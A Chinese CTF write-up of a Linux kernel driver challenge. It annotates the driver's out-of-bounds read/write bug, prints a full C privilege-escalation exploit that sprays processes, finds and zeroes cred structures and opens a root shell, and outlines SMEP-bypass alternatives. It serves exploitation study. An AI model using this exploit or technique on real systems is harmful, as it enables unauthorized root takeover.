【第五題】【吾愛破解2016安全挑戰賽】【Android 溢位題】分析
0x00 賽題背景及環境:
環境要求:
此題目採用 VirtualBox (VMware) + Ubuntu 14.04.4 LTS 32bit桌面版,參賽者須自己搭建,安裝完成後請不要升級核心;
題目描述:
此題提供一份驅動原始碼,參賽者按照INSTALL步驟自己編譯、載入驅動裝置到ubuntu,利用驅動中一個漏洞(利用其它核心漏洞沒分)實現從shell到root的提權;
提交檔案:
1) exp二進位制檔案;
2) exp原始碼;
3) 解題思路;
評分標準:
1) 繞過smep提權100分;
2) 不能繞過smep提權50分;
學習大綱:
1.搭建環境,並復現exp提權
2.分析漏洞,修改exp
0x01 解題大綱
1.編譯安裝驅動
下載的內容
cd到檔案目錄make編譯並安裝驅動
-
make
-
sudo insmod mem_driver.ko
-
sudo chmod 666 /dev/memdev*
直接make 編譯該驅動,生成mem_driver.ko檔案
insmod mem_driver.ko 通過insmod命令用於將mem_driver模組載入到核心中。並使用lsmod檢視是否載入成功。Linux有許多功能是通過模組的方式,在需要時才載入kernel。
使用這個https://www.52pojie.cn/thread-485820-1-1.html exp編譯執行:gcc mexp.c -o mexp
open失敗是因為沒設定/dev/memdev0的初始許可權位。
可以看到exp執行成功了,美滋滋!
0x02漏洞分析
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos) { unsigned long p = *ppos; unsigned int count = size;// int ret = 0; struct mem_dev *dev = filp->private_data; if((dev->size >> 24 & 0xff) != 0x5a) return -EFAULT; if (p > dev->size) return -ENOMEM; if (count > dev->size - p) count = dev->size - p; if (copy_to_user(buf, (void*)(dev->data + p), count)) { ret = -EFAULT; } else { *ppos += count; ret = count; } return ret; } static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos) { unsigned long p = *ppos;//偏移量 unsigned int count = size;//使用者態傳入的size int ret = 0; struct mem_dev *dev = filp->private_data;//獲得裝置結構 {size=0x5a000008,data=8} if((dev->size >> 24 & 0xff) != 0x5a)//一:判斷傳入size的大小以0x5a開頭(前8位) return -EFAULT; if (p > dev->size)//二:判斷檔案指標是否超過了dev的size return -ENOMEM; if (count > dev->size - p)//三:判斷使用者初入的count是否超過了dev剩下的大小。也就是說count的值不超過0x5a000008即可通過校驗。 count = dev->size - p; if (copy_from_user((void *)(dev->data + p), buf, count)) {//將count大小的資料從使用者態的buf寫入到 dev->data+p的位置 ret = -EFAULT; } else { *ppos += count; ret = count; } //ioctl申請了8位元組的讀寫,實際能寫count位元組的資料。是個任意寫漏洞 (mem_read同理為讀漏洞) return ret; } static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct mem_init data;//在核心態構建data資料 /** struct mem_init { uint32_t idx; uint32_t len; } data = {0, 8}; **/ if(!arg) return -EINVAL; if(copy_from_user(&data, (void *)arg, sizeof(data))) {//將使用者態的data傳入到核心 return -EFAULT; } if(data.len <= 0 || data.len >= 0x1000000)//判斷傳入的data的結構大小 return -EINVAL; if(data.idx < 0) return -EINVAL; switch(cmd) { case 0: //idx=0 len=8 mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);//0x5a000008 mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);//驅動使用kmalloc申請了len大小的空間 /** struct mem_dev //裝置的size遠遠大於data指向的空間 { unsigned long size;//0x5a000008 char *data;//8 }; **/ if(!mem_devp[data.idx].data) { return -ENOMEM; } memset(mem_devp[data.idx].data, 0, data.len);//將data當前位置後面的8個位元組用 0 替換並返回指標 break; default: return -EINVAL; } return 0; } static const struct file_operations mem_fops = { .owner = THIS_MODULE, .open = mem_open, .read = mem_read, .write = mem_write, .unlocked_ioctl = mem_ioctl, .llseek = default_llseek, .release = mem_release, };
0x03 exp編寫
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#define MAX_CHILDREN_PROCESS 1024
struct cred {
// unsigned long usage;
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
// unsigned long securebits; /* SUID-less security management */
// kernel_cap_t cap_inheritable; /* caps our children can inherit */
// kernel_cap_t cap_permitted; /* caps we're permitted */
// kernel_cap_t cap_effective; /* caps we can actually use */
// kernel_cap_t cap_bset; /* capability bounding set */
// unsigned char jit_keyring;
// void *thread_keyring;
// void *request_key_auth;
// void *tgcred;
// void *security; /* subjective LSM security */
} my_cred = {0};
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;//addr_limit表示程序可訪問的地址空間
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
struct mem_init {
uint32_t idx;
uint32_t len;
} data = {0, 8};
static pid_t pids[MAX_CHILDREN_PROCESS];
static int children_num;
static void tryRoot()
{
raise(SIGSTOP);/* 在子程序中使用raise()函式發出SIGSTOP訊號,使子程序暫停 */
if (getuid() == 0) {
printf("root success!\n");
system("/bin/sh");
}
exit(0);
}
static void sprayingChildProcess()
{
int i;
int pid;
for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
pid = fork();
if (pid < 0) {
break;
}
else if (pid == 0) {
tryRoot();//嘗試root
}
else {
pids[i] = pid;
}
}
children_num = i;
}
static void setMyCred() {
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t ruid;
gid_t rgid;
getresuid(&ruid, &euid, &suid);
getresgid(&rgid, &egid, &sgid);
my_cred.uid = getuid();
my_cred.gid = getgid();
my_cred.suid = suid;
my_cred.sgid = sgid;
my_cred.euid = euid;
my_cred.egid = egid;
my_cred.fsuid = getuid();
my_cred.fsgid = getgid();
}
//2. 使用`ioctl`使得驅動在核心申請一片空間,接著使用`read`讀出大片核心資料;
static int searchCred(int fd) {
int ret;
char buf[4096];
int p;
int cred;
//set當前程序的cerd結構
setMyCred();
ret = ioctl(fd, 0, &data);
if (ret != 0) {
perror("ioctl");
return 0;
}
while (1) {
ret = read(fd, buf, 4096);
if (ret != 4096) {
perror("read");
return 0;
}
//3. 在讀出的核心資料中,暴力搜尋,與建立的程序的uid、gid、suid、sgid、euid、egid、fsuid、fsgid進行匹配;
p = memmem(buf, 4096, &my_cred, sizeof(my_cred));//若my_cred在4096這塊記憶體裡返回首次出現的地址起始的位置的指標
if (p) {
printf("we found cred.\n");
printf("p=%d,(int)buf=%d,offset=%d\n",p,(int) buf, lseek(fd, 0, SEEK_CUR));
cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;//SEEK_CUR 以目前的讀寫位置往後增加offset個位移量。 lseek返回目前的讀寫位置,也就是距離檔案開頭多少個位元組。
//沒有完全理解這句程式碼的含義,估計是距離fd指標的位置
return cred;
}
}
return 0;
}
//匹配成功後,使用`write`修改其cred結構體,完成root;
static void modifyCred(int fd, int cred)
{
struct cred new_cred;
lseek(fd, cred, SEEK_SET);//SEEK_SET 將讀寫位置指向檔案頭後再增加cred個數的位移量。
memset(&new_cred, 0, sizeof(new_cred));//將這塊區域內大小的資料全置為0
write(fd, &new_cred, sizeof(new_cred));
printf("modify cred over.\n");
}
/**
1. 建立儘可能多的程序,以使得核心空間中充斥大量的cred結構體,增大root成功率;
2. 使用`ioctl`使得驅動在核心申請一片空間,接著使用`read`讀出大片核心資料;
3. 在讀出的核心資料中,暴力搜尋,與建立的程序的uid、gid、suid、sgid、euid、egid、fsuid、fsgid進行匹配;
4. 匹配成功後,使用`write`修改其cred結構體,完成root;
**/
int main()
{
int fd;
int cred;
int i;
//1. 建立儘可能多的程序,以使得核心空間中充斥大量的cred結構體,增大root成功率;
sprayingChildProcess();
fd = open("/dev/memdev0", O_RDWR);
if (fd < 0) {
perror("open");
goto out;
}
cred = searchCred(fd);
if (cred == 0) {
goto out;
}
modifyCred(fd, cred);
out:
if (fd > 0) {
close(fd);
}
for (i = 0; i < children_num; ++i) {
kill(pids[i], SIGCONT);/* 在父程序中收集子程序發出的訊號,並呼叫kill()函式進行相應的操作 */
}
while (1) {
if (wait(NULL) < 0) {
break;
}
}
return 0;
}
0x04 總結:
-
1.其實主要也就是復現和分析了漏洞的程式碼
瞭解linux驅動漏,並通過該任意地址讀寫的漏洞修改程序的cred從而進行提權。
-
2.瞭解linux核心防護措施semp,並嘗試繞過
semp禁止在核心執行使用者態的程式碼。 -
3.作者留下的進一步利用程式碼的思路:
這裡還有其他幾種root方案:本文提到的是一種比較粗暴的方法,有一定的失敗機率,比如當噴射的cred全部都位於驅動kmalloc的下面,searchCred
就會失敗。
A:另外這種通過直接匹配uid、gid的方式總感覺有些不靠譜,還有個更好的方案是匹配thread_info結構體的comm成員,從而找到cred地址,然後利用slab的freelist將本文記憶體寫漏洞轉變為記憶體任意地址寫漏洞,
最後修改cred結構體資訊即可,具體程式碼留給讀者實現。
B:利用漏洞將找到所有 task_info 的 addr_limit 改掉,找到有許可權的子程序繼續提權。當然這種方法很不穩定。可以通過設定查詢 comm 來精確定位。
C:通過修改tty_struct結構體修改函式的執行流,然後再patch繞過semp。最後直接返回使用者空間然後以ring0的身份呼叫函式commit_creds(prepare_kernel_cred(NULL))就可以設定為root身份。